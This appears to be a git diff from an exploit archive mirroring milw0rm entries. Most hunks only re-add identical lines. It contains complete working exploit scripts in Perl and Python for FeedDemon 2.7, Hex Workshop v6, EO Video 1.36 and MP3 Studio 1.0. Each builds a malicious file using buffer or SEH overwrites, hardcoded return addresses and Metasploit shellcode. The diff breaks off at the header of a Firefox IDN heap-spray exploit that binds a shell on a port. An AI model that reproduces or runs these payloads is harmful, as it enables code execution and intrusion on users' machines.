-"\xDD\x17\x67\x19\xBD\x5F\x2\x1C\xF6\xC7\x40\xA9\xF6\x2A\xEB".
-"\xEC\xFC\x53\xED\xEF\xDD\xAA\xD7\x79\x12\x5A\x99\xC8\xBD\x1".
-"\xC8\x2C\xDD\x38\x67\x21\x7D\xD5\xB3\x31\x37\xB5\x67\x31\xBD".
-"\x5F\x7\xA4\x6A\x7A\xE8\xEE\x7\x9E\x88\xA6\x76\x6E\x69\xED".
-"\x4E\x52\x67\x6D\x3A\xD5\x9C\x31\x9B\xD5\x84\x25\xDD\x57\x67".
-"\xAD\x86\x5E\xEC\x2D\xBD\x36\xD0\x72\x7\xA8\x8C\x7B\xBF\xA6".
-"\x6F\xED\x4D\xE\x84\xDD\xBC\x5A\xB3\x45\xAE\xA0\x66\x23\x61".
-"\xA1\xB\x4E\x57\x32\x8F\x2D\x36\x5E\x90\x90\x90\x90\x90\x90".
-"\x90\x90\xED\x1E\x94\x7C\x90\x90\x90\x90\x90\x90\x90\x90\x90".
-"\x90\x90\x90\x90\x90\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD".
-"\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";
-
-my $tail='"><outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/></outline></body></opml>';
-open (f,'>feeddemonexploit.opml');
-print f "\xff\xfe";
-close(f);
-
-open (f,'>>:encoding(ucs-2le)','feeddemonexploit.opml');
-print f $head;
-close(f);
-
-open (f,'>>feeddemonexploit.opml');
-print f $overflow;
-print f $devil;
-close(f);
-
-open (f,'>>:encoding(ucs-2le)','feeddemonexploit.opml');
-print f $tail;
-close (f);
-print "Create exploit file successfully!";
-
-# milw0rm.com [2009-02-09]
+#!/usr/local/bin/perl
+#-----------------------------------------------------------------------------
+# FeedDemon version 2.7.0.0 Buffer overFlow
+# Reference:
+#	http://security.bkis.vn/?p=329
+#	http://www.securityfocus.com/bid/33630/info
+#	http://secunia.com/advisories/33718/
+# Tested in Windows XP Sp2 (English)
+# Created by cenjan (xcenjanx@yahoo.com)
+# Description: 	 + This code generates a opml file (feeddemonexploit.opml)
+#              		 + Import that file by the Import Feed function of Feed Demon
+#               		+ The calc.exe will execute
+#-----------------------------------------------------------------------------
+my $head='<opml version="1.1"><body><outline text="';
+my $overflow = "\x90" x 8006;
+
+# Shellcode by Metasploit
+my $devil=
+"\x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xEC".
+"\x2D\x36\x5E\x83\xEB\xFC\xE2\xF4\x10\xC5\x72\x5E\xEC\x2D\xBD".
+"\x1B\xD0\xA6\x4A\x5B\x94\x2C\xD9\xD5\xA3\x35\xBD\x1\xCC\x2C".
+"\xDD\x17\x67\x19\xBD\x5F\x2\x1C\xF6\xC7\x40\xA9\xF6\x2A\xEB".
+"\xEC\xFC\x53\xED\xEF\xDD\xAA\xD7\x79\x12\x5A\x99\xC8\xBD\x1".
+"\xC8\x2C\xDD\x38\x67\x21\x7D\xD5\xB3\x31\x37\xB5\x67\x31\xBD".
+"\x5F\x7\xA4\x6A\x7A\xE8\xEE\x7\x9E\x88\xA6\x76\x6E\x69\xED".
+"\x4E\x52\x67\x6D\x3A\xD5\x9C\x31\x9B\xD5\x84\x25\xDD\x57\x67".
+"\xAD\x86\x5E\xEC\x2D\xBD\x36\xD0\x72\x7\xA8\x8C\x7B\xBF\xA6".
+"\x6F\xED\x4D\xE\x84\xDD\xBC\x5A\xB3\x45\xAE\xA0\x66\x23\x61".
+"\xA1\xB\x4E\x57\x32\x8F\x2D\x36\x5E\x90\x90\x90\x90\x90\x90".
+"\x90\x90\xED\x1E\x94\x7C\x90\x90\x90\x90\x90\x90\x90\x90\x90".
+"\x90\x90\x90\x90\x90\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD".
+"\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";
+
+my $tail='"><outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/></outline></body></opml>';
+open (f,'>feeddemonexploit.opml');
+print f "\xff\xfe";
+close(f);
+
+open (f,'>>:encoding(ucs-2le)','feeddemonexploit.opml');
+print f $head;
+close(f);
+
+open (f,'>>feeddemonexploit.opml');
+print f $overflow;
+print f $devil;
+close(f);
+
+open (f,'>>:encoding(ucs-2le)','feeddemonexploit.opml');
+print f $tail;
+close (f);
+print "Create exploit file successfully!";
+
+# milw0rm.com [2009-02-09]
diff --git a/platforms/windows/local/803.c b/platforms/windows/local/803.c
index 677db1789..2492f7896 100755
--- a/platforms/windows/local/803.c
+++ b/platforms/windows/local/803.c
@@ -87,6 +87,6 @@ printf("Ftp Server : %s\n",bilgi_oku(134,51));
 return 0;
 
 
-}
-
-// milw0rm.com [2005-02-09]
+}
+
+// milw0rm.com [2005-02-09]
diff --git a/platforms/windows/local/811.c b/platforms/windows/local/811.c
index e9cdaa049..ca9e97622 100755
--- a/platforms/windows/local/811.c
+++ b/platforms/windows/local/811.c
@@ -88,6 +88,6 @@ printf("Smtp Password         : %s\n",bilgi_oku(3978,46));
 
 return 0;
 
-}
-
-// milw0rm.com [2005-02-10]
+}
+
+// milw0rm.com [2005-02-10]
diff --git a/platforms/windows/local/8121.pl b/platforms/windows/local/8121.pl
index 363ba8428..986ba50e7 100755
--- a/platforms/windows/local/8121.pl
+++ b/platforms/windows/local/8121.pl
@@ -1,32 +1,32 @@
-#!/usr/bin/perl -w
-# Hex Workshop <= v6 (.hex) File Local Code Execution
-# Discovred by : Security^Ghost
-# Exploited by : DATA_SNIPER
-# Exploit Tested on WindoZ XP SP2 FR.
-# for more information vist my blog:http://datasniper.arab4services.net/
-# the exploit it's so weird ;),take look at the shellcode,and remember it's not AlphaNum.
-
-print "==========================================================================\n";
-print "Hex Workshop v6 (.HEX File) Local Code Execution\n";
-print "Exploited by DATA_SNIPER\n";
-print "Greetz to: arab4services team and AT4RE Team\n";
-print "for more: http://datasniper.arab4services.net/\n";
-print "===================================================================== \n";
-$junk=":0000FC\x0D\x0A:";
-$shelladd="B8EE1300D0EE1300C8EE1300AAAAAAAAC8EE1300C8EE1300";#shell address in the stack and some address junk for make the exploit work as well.
-#some times the stack address change to "0012xxxx" so you can use this instead
-# $shelladdrr="B8EE1200D0EE1200C8EE1200AAAAAAAAC8EE1200C8EE1200"
-$nop="909090909090909090909090909090";# strange noop xD
-#shellcode from metasploit,execute calc.exe
-#shellcode copied as it's and when the data being treated will be converted to HEX format.
-$shellcode="33c9b11ebbf01a028cdaccd97424f45a83c204315a0b035afbf8f77013b8f788e3cabdb468b038bd6fa6c87277b390ac86286726bc2579d68df9e38a693967d4b07085dbf06e62e0a0548f62ad1ed0a82cca893b2247dd6326560a104ad3cdccfbbfe9163860c3e0dec9478658c60cd868ad63c5dd3aebfd94c56f3dcc6518c0c864ab547096c6abd79830d0b60adc17";
-$buff='A' x 248;
-$sploit =$junk.$buff.$shelladd.$nop.$shellcode;
-$fle = "Xploit.hex" ;
-open($data, ">>$fle") or die "Cannot open $data";
-print $data $sploit;
-close($data);
-print "$fle has been created\n";
-print "open it in HexWorkshop file->import.\n";
-
-# milw0rm.com [2009-02-27]
+#!/usr/bin/perl -w
+# Hex Workshop <= v6 (.hex) File Local Code Execution
+# Discovred by : Security^Ghost
+# Exploited by : DATA_SNIPER
+# Exploit Tested on WindoZ XP SP2 FR.
+# for more information vist my blog:http://datasniper.arab4services.net/
+# the exploit it's so weird ;),take look at the shellcode,and remember it's not AlphaNum.
+
+print "==========================================================================\n";
+print "Hex Workshop v6 (.HEX File) Local Code Execution\n";
+print "Exploited by DATA_SNIPER\n";
+print "Greetz to: arab4services team and AT4RE Team\n";
+print "for more: http://datasniper.arab4services.net/\n";
+print "===================================================================== \n";
+$junk=":0000FC\x0D\x0A:";
+$shelladd="B8EE1300D0EE1300C8EE1300AAAAAAAAC8EE1300C8EE1300";#shell address in the stack and some address junk for make the exploit work as well.
+#some times the stack address change to "0012xxxx" so you can use this instead
+# $shelladdrr="B8EE1200D0EE1200C8EE1200AAAAAAAAC8EE1200C8EE1200"
+$nop="909090909090909090909090909090";# strange noop xD
+#shellcode from metasploit,execute calc.exe
+#shellcode copied as it's and when the data being treated will be converted to HEX format.
+$shellcode="33c9b11ebbf01a028cdaccd97424f45a83c204315a0b035afbf8f77013b8f788e3cabdb468b038bd6fa6c87277b390ac86286726bc2579d68df9e38a693967d4b07085dbf06e62e0a0548f62ad1ed0a82cca893b2247dd6326560a104ad3cdccfbbfe9163860c3e0dec9478658c60cd868ad63c5dd3aebfd94c56f3dcc6518c0c864ab547096c6abd79830d0b60adc17";
+$buff='A' x 248;
+$sploit =$junk.$buff.$shelladd.$nop.$shellcode;
+$fle = "Xploit.hex" ;
+open($data, ">>$fle") or die "Cannot open $data";
+print $data $sploit;
+close($data);
+print "$fle has been created\n";
+print "open it in HexWorkshop file->import.\n";
+
+# milw0rm.com [2009-02-27]
diff --git a/platforms/windows/local/8176.py b/platforms/windows/local/8176.py
index 24d396ef4..3856ec601 100755
--- a/platforms/windows/local/8176.py
+++ b/platforms/windows/local/8176.py
@@ -1,70 +1,70 @@
-#!/usr/bin/python
-#usage: exploit.py
-print "**************************************************************************"
-print "[*] EO Video v1.36 PlayList Seh Overwrite Exploit\n"
-print "[*] Author: j0rgan"
-print "[*] Seh Exploitation : His0k4"
-print "[*] Tested on: Windows XP SP2 (Fr)\n"
-print "[*] Greetings to: All friends & Muslims HacKerS (DZ)"
-print "**************************************************************************"
-
-buff = "\x41" * 1356
-
-next_seh = "\xEB\x06\x41\x41"
-
-seh = "\x14\x1E\x5B\x58" #pop pop ret msgsm32 .acm
-
-header1= (																		
-	"\x3C\x45\x4F\x50\x6C\x61\x79\x6C\x69\x73\x74\x3E\x0A\x3C\x50\x6C\x61\x79\x6C"
-	"\x69\x73\x74\x3E\x0A\x3C\x46\x6F\x6C\x64\x65\x72\x4C\x69\x73\x74\x3E\x0A\x3C"
-	"\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x4E\x61\x6D\x65\x3E\x6E\x65\x73\x74\x6F"
-	"\x3C\x2F\x4E\x61\x6D\x65\x3E\x0A\x3C\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65"
-	"\x6E\x63\x79\x3E\x31\x3C\x2F\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63"
-	"\x79\x3E\x0A\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x46\x6F\x6C\x64\x65"
-	"\x72\x3E\x0A\x3C\x4E\x61\x6D\x65\x3E\x6E\x65\x73\x74\x6F\x3C\x2F\x4E\x61\x6D"
-	"\x65\x3E\x0A\x3C\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63\x79\x3E\x31"
-	"\x3C\x2F\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63\x79\x3E\x0A\x3C\x2F"
-	"\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x4C\x69\x73"
-	"\x74\x3E\x0A\x3C\x50\x72\x6F\x6A\x65\x63\x74\x45\x6C\x65\x6D\x65\x6E\x74\x3E"
-	"\x0A\x3C\x4E\x61\x6D\x65\x3E")
-	
-header2= (
-	"\x3C\x2F\x4E\x61\x6D\x65\x3E\x0A\x3C\x53\x74\x61\x72\x74\x54\x69\x6D\x65\x3E"
-	"\x30\x3C\x2F\x53\x74\x61\x72\x74\x54\x69\x6D\x65\x3E\x0A\x3C\x45\x6E\x64\x54"
-	"\x69\x6D\x65\x3E\x30\x3C\x2F\x45\x6E\x64\x54\x69\x6D\x65\x3E\x0A\x3C\x4D\x65"
-	"\x64\x69\x61\x53\x69\x7A\x65\x3E\x0A\x3C\x57\x69\x64\x74\x68\x3E\x2D\x31\x3C"
-	"\x2F\x57\x69\x64\x74\x68\x3E\x0A\x3C\x48\x65\x69\x67\x68\x74\x3E\x2D\x31\x3C"
-	"\x2F\x48\x65\x69\x67\x68\x74\x3E\x0A\x3C\x2F\x4D\x65\x64\x69\x61\x53\x69\x7A"
-	"\x65\x3E\x0A\x3C\x53\x74\x61\x74\x65\x3E\x33\x30\x32\x31\x36\x3C\x2F\x53\x74"
-	"\x61\x74\x65\x3E\x0A\x3C\x46\x6F\x6C\x64\x65\x72\x50\x6F\x73\x69\x74\x69\x6F"
-	"\x6E\x49\x6E\x64\x65\x78\x3E\x30\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x50\x6F\x73"
-	"\x69\x74\x69\x6F\x6E\x49\x6E\x64\x65\x78\x3E\x0A\x3C\x2F\x50\x72\x6F\x6A\x65"
-	"\x63\x74\x45\x6C\x65\x6D\x65\x6E\x74\x3E\x0A\x3C\x2F\x50\x6C\x61\x79\x6C\x69"
-	"\x73\x74\x3E\x5C\x6E\x3C\x2F\x45\x4F\x50\x6C\x61\x79\x6C\x69\x73\x74\x3E")
-	
-
-# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
-shellcode = (
-	"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x35"
-	"\x9c\xf7\xbc\x83\xeb\xfc\xe2\xf4\xc9\x74\xb3\xbc\x35\x9c\x7c\xf9"
-	"\x09\x17\x8b\xb9\x4d\x9d\x18\x37\x7a\x84\x7c\xe3\x15\x9d\x1c\xf5"
-	"\xbe\xa8\x7c\xbd\xdb\xad\x37\x25\x99\x18\x37\xc8\x32\x5d\x3d\xb1"
-	"\x34\x5e\x1c\x48\x0e\xc8\xd3\xb8\x40\x79\x7c\xe3\x11\x9d\x1c\xda"
-	"\xbe\x90\xbc\x37\x6a\x80\xf6\x57\xbe\x80\x7c\xbd\xde\x15\xab\x98"
-	"\x31\x5f\xc6\x7c\x51\x17\xb7\x8c\xb0\x5c\x8f\xb0\xbe\xdc\xfb\x37"
-	"\x45\x80\x5a\x37\x5d\x94\x1c\xb5\xbe\x1c\x47\xbc\x35\x9c\x7c\xd4"
-	"\x09\xc3\xc6\x4a\x55\xca\x7e\x44\xb6\x5c\x8c\xec\x5d\x6c\x7d\xb8"
-	"\x6a\xf4\x6f\x42\xbf\x92\xa0\x43\xd2\xff\x96\xd0\x56\x9c\xf7\xbc"
-    )
-
-exploit = header1 + buff + next_seh + seh + shellcode + header2
-
-try:
-    out_file = open("exploit.eop",'w')
-    out_file.write(exploit)
-    out_file.close()
-    print "Exploit File Created!\nNow Open it :)"
-except:
-    print "Error"
-
-# milw0rm.com [2009-03-09]
+#!/usr/bin/python
+#usage: exploit.py
+print "**************************************************************************"
+print "[*] EO Video v1.36 PlayList Seh Overwrite Exploit\n"
+print "[*] Author: j0rgan"
+print "[*] Seh Exploitation : His0k4"
+print "[*] Tested on: Windows XP SP2 (Fr)\n"
+print "[*] Greetings to: All friends & Muslims HacKerS (DZ)"
+print "**************************************************************************"
+
+buff = "\x41" * 1356
+
+next_seh = "\xEB\x06\x41\x41"
+
+seh = "\x14\x1E\x5B\x58" #pop pop ret msgsm32 .acm
+
+header1= (																		
+	"\x3C\x45\x4F\x50\x6C\x61\x79\x6C\x69\x73\x74\x3E\x0A\x3C\x50\x6C\x61\x79\x6C"
+	"\x69\x73\x74\x3E\x0A\x3C\x46\x6F\x6C\x64\x65\x72\x4C\x69\x73\x74\x3E\x0A\x3C"
+	"\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x4E\x61\x6D\x65\x3E\x6E\x65\x73\x74\x6F"
+	"\x3C\x2F\x4E\x61\x6D\x65\x3E\x0A\x3C\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65"
+	"\x6E\x63\x79\x3E\x31\x3C\x2F\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63"
+	"\x79\x3E\x0A\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x46\x6F\x6C\x64\x65"
+	"\x72\x3E\x0A\x3C\x4E\x61\x6D\x65\x3E\x6E\x65\x73\x74\x6F\x3C\x2F\x4E\x61\x6D"
+	"\x65\x3E\x0A\x3C\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63\x79\x3E\x31"
+	"\x3C\x2F\x54\x72\x75\x65\x46\x72\x65\x71\x75\x65\x6E\x63\x79\x3E\x0A\x3C\x2F"
+	"\x46\x6F\x6C\x64\x65\x72\x3E\x0A\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x4C\x69\x73"
+	"\x74\x3E\x0A\x3C\x50\x72\x6F\x6A\x65\x63\x74\x45\x6C\x65\x6D\x65\x6E\x74\x3E"
+	"\x0A\x3C\x4E\x61\x6D\x65\x3E")
+	
+header2= (
+	"\x3C\x2F\x4E\x61\x6D\x65\x3E\x0A\x3C\x53\x74\x61\x72\x74\x54\x69\x6D\x65\x3E"
+	"\x30\x3C\x2F\x53\x74\x61\x72\x74\x54\x69\x6D\x65\x3E\x0A\x3C\x45\x6E\x64\x54"
+	"\x69\x6D\x65\x3E\x30\x3C\x2F\x45\x6E\x64\x54\x69\x6D\x65\x3E\x0A\x3C\x4D\x65"
+	"\x64\x69\x61\x53\x69\x7A\x65\x3E\x0A\x3C\x57\x69\x64\x74\x68\x3E\x2D\x31\x3C"
+	"\x2F\x57\x69\x64\x74\x68\x3E\x0A\x3C\x48\x65\x69\x67\x68\x74\x3E\x2D\x31\x3C"
+	"\x2F\x48\x65\x69\x67\x68\x74\x3E\x0A\x3C\x2F\x4D\x65\x64\x69\x61\x53\x69\x7A"
+	"\x65\x3E\x0A\x3C\x53\x74\x61\x74\x65\x3E\x33\x30\x32\x31\x36\x3C\x2F\x53\x74"
+	"\x61\x74\x65\x3E\x0A\x3C\x46\x6F\x6C\x64\x65\x72\x50\x6F\x73\x69\x74\x69\x6F"
+	"\x6E\x49\x6E\x64\x65\x78\x3E\x30\x3C\x2F\x46\x6F\x6C\x64\x65\x72\x50\x6F\x73"
+	"\x69\x74\x69\x6F\x6E\x49\x6E\x64\x65\x78\x3E\x0A\x3C\x2F\x50\x72\x6F\x6A\x65"
+	"\x63\x74\x45\x6C\x65\x6D\x65\x6E\x74\x3E\x0A\x3C\x2F\x50\x6C\x61\x79\x6C\x69"
+	"\x73\x74\x3E\x5C\x6E\x3C\x2F\x45\x4F\x50\x6C\x61\x79\x6C\x69\x73\x74\x3E")
+	
+
+# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
+shellcode = (
+	"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x35"
+	"\x9c\xf7\xbc\x83\xeb\xfc\xe2\xf4\xc9\x74\xb3\xbc\x35\x9c\x7c\xf9"
+	"\x09\x17\x8b\xb9\x4d\x9d\x18\x37\x7a\x84\x7c\xe3\x15\x9d\x1c\xf5"
+	"\xbe\xa8\x7c\xbd\xdb\xad\x37\x25\x99\x18\x37\xc8\x32\x5d\x3d\xb1"
+	"\x34\x5e\x1c\x48\x0e\xc8\xd3\xb8\x40\x79\x7c\xe3\x11\x9d\x1c\xda"
+	"\xbe\x90\xbc\x37\x6a\x80\xf6\x57\xbe\x80\x7c\xbd\xde\x15\xab\x98"
+	"\x31\x5f\xc6\x7c\x51\x17\xb7\x8c\xb0\x5c\x8f\xb0\xbe\xdc\xfb\x37"
+	"\x45\x80\x5a\x37\x5d\x94\x1c\xb5\xbe\x1c\x47\xbc\x35\x9c\x7c\xd4"
+	"\x09\xc3\xc6\x4a\x55\xca\x7e\x44\xb6\x5c\x8c\xec\x5d\x6c\x7d\xb8"
+	"\x6a\xf4\x6f\x42\xbf\x92\xa0\x43\xd2\xff\x96\xd0\x56\x9c\xf7\xbc"
+    )
+
+exploit = header1 + buff + next_seh + seh + shellcode + header2
+
+try:
+    out_file = open("exploit.eop",'w')
+    out_file.write(exploit)
+    out_file.close()
+    print "Exploit File Created!\nNow Open it :)"
+except:
+    print "Error"
+
+# milw0rm.com [2009-03-09]
diff --git a/platforms/windows/local/9291.pl b/platforms/windows/local/9291.pl
index e80d6f9eb..90000c6c0 100755
--- a/platforms/windows/local/9291.pl
+++ b/platforms/windows/local/9291.pl
@@ -1,56 +1,56 @@
-#!/usr/bin/perl
-#
-# MP3 Studio v1.0 (mpf File) Local BOF Exploit (SEH)
-# Exploited by: Koshi
-# Download: http://www.software112.com/products/mp3-millennium+download.html
-# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277 )
-# Tested on WinXP SP3
-#
-# I've used addresses from "xuadio.dll", which is shipped with the package.
-#
-
-# win32_exec -  EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
-my $shellcode =
-"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
-"\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66".
-"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x76\x42\x32\x42\x41\x32".
-"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x49\x79\x4b\x4c\x4d".
-"\x38\x43\x74\x67\x70\x63\x30\x67\x70\x4c\x4b\x41\x55\x37\x4c\x6c".
-"\x4b\x41\x6c\x73\x35\x53\x48\x64\x41\x4a\x4f\x6c\x4b\x70\x4f\x67".
-"\x68\x6c\x4b\x41\x4f\x57\x50\x45\x51\x5a\x4b\x53\x79\x4e\x6b\x74".
-"\x74\x6c\x4b\x76\x61\x38\x6e\x64\x71\x59\x50\x6e\x79\x4e\x4c\x6b".
-"\x34\x79\x50\x63\x44\x73\x37\x4a\x61\x69\x5a\x44\x4d\x76\x61\x6b".
-"\x72\x7a\x4b\x4b\x44\x35\x6b\x50\x54\x77\x54\x65\x54\x71\x65\x4d".
-"\x35\x6e\x6b\x61\x4f\x64\x64\x65\x51\x7a\x4b\x63\x56\x4c\x4b\x56".
-"\x6c\x50\x4b\x4e\x6b\x43\x6f\x47\x6c\x65\x51\x6a\x4b\x6c\x4b\x55".
-"\x4c\x6c\x4b\x64\x41\x68\x6b\x6d\x59\x63\x6c\x45\x74\x75\x54\x59".
-"\x53\x36\x51\x4b\x70\x71\x74\x6e\x6b\x67\x30\x30\x30\x6f\x75\x6b".
-"\x70\x30\x78\x64\x4c\x4c\x4b\x37\x30\x44\x4c\x6e\x6b\x54\x30\x47".
-"\x6c\x6e\x4d\x6e\x6b\x53\x58\x75\x58\x6a\x4b\x76\x69\x4e\x6b\x6b".
-"\x30\x6c\x70\x37\x70\x47\x70\x35\x50\x4c\x4b\x50\x68\x57\x4c\x51".
-"\x4f\x35\x61\x6c\x36\x63\x50\x52\x76\x4f\x79\x6c\x38\x6b\x33\x6f".
-"\x30\x31\x6b\x36\x30\x33\x58\x73\x4e\x69\x48\x6b\x52\x44\x33\x55".
-"\x38\x6d\x48\x4b\x4e\x4d\x5a\x74\x4e\x50\x57\x4b\x4f\x48\x67\x71".
-"\x73\x62\x41\x32\x4c\x45\x33\x56\x4e\x55\x35\x61\x68\x31\x75\x75".
-"\x50\x66";
-
-my $jmpe = "\x3f\x5e\x03\x10";			# 0x10035E3F jmp esp (xaudio.dll)
-my $nseh = "\xeb\xf1\x90\x90";			# Get back to where we once belong.
-my $eseh = "\xfd\x61\x03\x10";			# 0x100361FD jmp edi (xaudio.dll)
-my $phun = "\x33\xc0\x33\x45\xf8\x04\x05\xff\xe0";
-#
-#	XOR EAX,EAX
-#	XOR EAX,DWORD PTR SS:[EBP-8]
-#	ADD AL,5
-#	JMP EAX
-#
-my $leng = 4103 - length($shellcode) - length($phun);
-my $buff = "\x41"x$leng;
-my $tuff = "http:".$buff.$shellcode.$phun.$jmpe.$nseh.$eseh;
-
-open (MYFILE, '>>exploit.mpf');
-print MYFILE "$tuff";
-close (MYFILE);
-print "Exploit file has been created. ( exploit.mpf )\n";
-
-# milw0rm.com [2009-07-28]
+#!/usr/bin/perl
+#
+# MP3 Studio v1.0 (mpf File) Local BOF Exploit (SEH)
+# Exploited by: Koshi
+# Download: http://www.software112.com/products/mp3-millennium+download.html
+# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277 )
+# Tested on WinXP SP3
+#
+# I've used addresses from "xuadio.dll", which is shipped with the package.
+#
+
+# win32_exec -  EXITFUNC=process CMD=calc.exe Size=338 Encoder=Alpha2 http://metasploit.com
+my $shellcode =
+"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
+"\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x66".
+"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x76\x42\x32\x42\x41\x32".
+"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x49\x79\x4b\x4c\x4d".
+"\x38\x43\x74\x67\x70\x63\x30\x67\x70\x4c\x4b\x41\x55\x37\x4c\x6c".
+"\x4b\x41\x6c\x73\x35\x53\x48\x64\x41\x4a\x4f\x6c\x4b\x70\x4f\x67".
+"\x68\x6c\x4b\x41\x4f\x57\x50\x45\x51\x5a\x4b\x53\x79\x4e\x6b\x74".
+"\x74\x6c\x4b\x76\x61\x38\x6e\x64\x71\x59\x50\x6e\x79\x4e\x4c\x6b".
+"\x34\x79\x50\x63\x44\x73\x37\x4a\x61\x69\x5a\x44\x4d\x76\x61\x6b".
+"\x72\x7a\x4b\x4b\x44\x35\x6b\x50\x54\x77\x54\x65\x54\x71\x65\x4d".
+"\x35\x6e\x6b\x61\x4f\x64\x64\x65\x51\x7a\x4b\x63\x56\x4c\x4b\x56".
+"\x6c\x50\x4b\x4e\x6b\x43\x6f\x47\x6c\x65\x51\x6a\x4b\x6c\x4b\x55".
+"\x4c\x6c\x4b\x64\x41\x68\x6b\x6d\x59\x63\x6c\x45\x74\x75\x54\x59".
+"\x53\x36\x51\x4b\x70\x71\x74\x6e\x6b\x67\x30\x30\x30\x6f\x75\x6b".
+"\x70\x30\x78\x64\x4c\x4c\x4b\x37\x30\x44\x4c\x6e\x6b\x54\x30\x47".
+"\x6c\x6e\x4d\x6e\x6b\x53\x58\x75\x58\x6a\x4b\x76\x69\x4e\x6b\x6b".
+"\x30\x6c\x70\x37\x70\x47\x70\x35\x50\x4c\x4b\x50\x68\x57\x4c\x51".
+"\x4f\x35\x61\x6c\x36\x63\x50\x52\x76\x4f\x79\x6c\x38\x6b\x33\x6f".
+"\x30\x31\x6b\x36\x30\x33\x58\x73\x4e\x69\x48\x6b\x52\x44\x33\x55".
+"\x38\x6d\x48\x4b\x4e\x4d\x5a\x74\x4e\x50\x57\x4b\x4f\x48\x67\x71".
+"\x73\x62\x41\x32\x4c\x45\x33\x56\x4e\x55\x35\x61\x68\x31\x75\x75".
+"\x50\x66";
+
+my $jmpe = "\x3f\x5e\x03\x10";			# 0x10035E3F jmp esp (xaudio.dll)
+my $nseh = "\xeb\xf1\x90\x90";			# Get back to where we once belong.
+my $eseh = "\xfd\x61\x03\x10";			# 0x100361FD jmp edi (xaudio.dll)
+my $phun = "\x33\xc0\x33\x45\xf8\x04\x05\xff\xe0";
+#
+#	XOR EAX,EAX
+#	XOR EAX,DWORD PTR SS:[EBP-8]
+#	ADD AL,5
+#	JMP EAX
+#
+my $leng = 4103 - length($shellcode) - length($phun);
+my $buff = "\x41"x$leng;
+my $tuff = "http:".$buff.$shellcode.$phun.$jmpe.$nseh.$eseh;
+
+open (MYFILE, '>>exploit.mpf');
+print MYFILE "$tuff";
+close (MYFILE);
+print "Exploit file has been created. ( exploit.mpf )\n";
+
+# milw0rm.com [2009-07-28]
diff --git a/platforms/windows/remote/1224.html b/platforms/windows/remote/1224.html
index 76a587642..da90a88d7 100755
--- a/platforms/windows/remote/1224.html
+++ b/platforms/windows/remote/1224.html
@@ -1,301 +1,301 @@
-<HTML><SCRIPT>
-/*
-_______________________________________________________________________________
-                                                                               
-     SSSSSSS,  SSSSSSS' PwnZilla 5 - One sploit fits all. (FireFox optimized)  
-    iSY   iS;    .sS*   Exploit for IDN host name heap buffer overrun in       
-   .SSSSSSS*   .sS*     Mozilla browsers (FireFox, Mozilla and Netscape)       
-   iS;       .sS*       Copyright (C) 2003-2005 by Berend-Jan Wever.           
-  .SS       sSSSSSSP    <berendjanwever@gmail.com>                             
-_______________________________________________________________________________
-          Official release: http://www.milw0rm.com/id.php?id=1224              
-
-  This program is free software; you can redistribute it and/or modify it under
-  the terms of the GNU General Public License version 2, 1991 as published by
-  the Free Software Foundation.
-
-  This program is distributed in the hope that it will be useful, but WITHOUT
-  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
-  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
-  details.
-
-  A copy of the GNU General Public License can be found at:
-    http://www.gnu.org/licenses/gpl.html
-  or you can write to:
-    Free Software Foundation, Inc.
-    59 Temple Place - Suite 330
-    Boston, MA  02111-1307
-    USA.
-
-	One sploit to rule them all, One sploit to find them,
-	One sploit to bring them all and to port 28876 bind them.
-
-	Credits and thanks:
-	Tom Ferris/www.security-protocols.com - For finding the vulnerability.
-	Aviv Raff - Thanks for helping me advance the heap spray technology.
-	str0ke/www.milw0rm.com - Thanks for testing and hosting the exploit.
-	HDM/www.metasploit.com - Thanks for the basis of my shellcode.
-
-	Technical details:
-	Since Netscape has not replied to reports about this vulnerability I've
-	chosen to release it. Since there is no patch out yet, this version does
-	not target all affected browsers. It is optimized to work with FireFox, who
-	do have a patch out, but on a rare occasion it will work in Netscape.
-
-	This exploits a heap overrun. Rather then trying to beat the security of
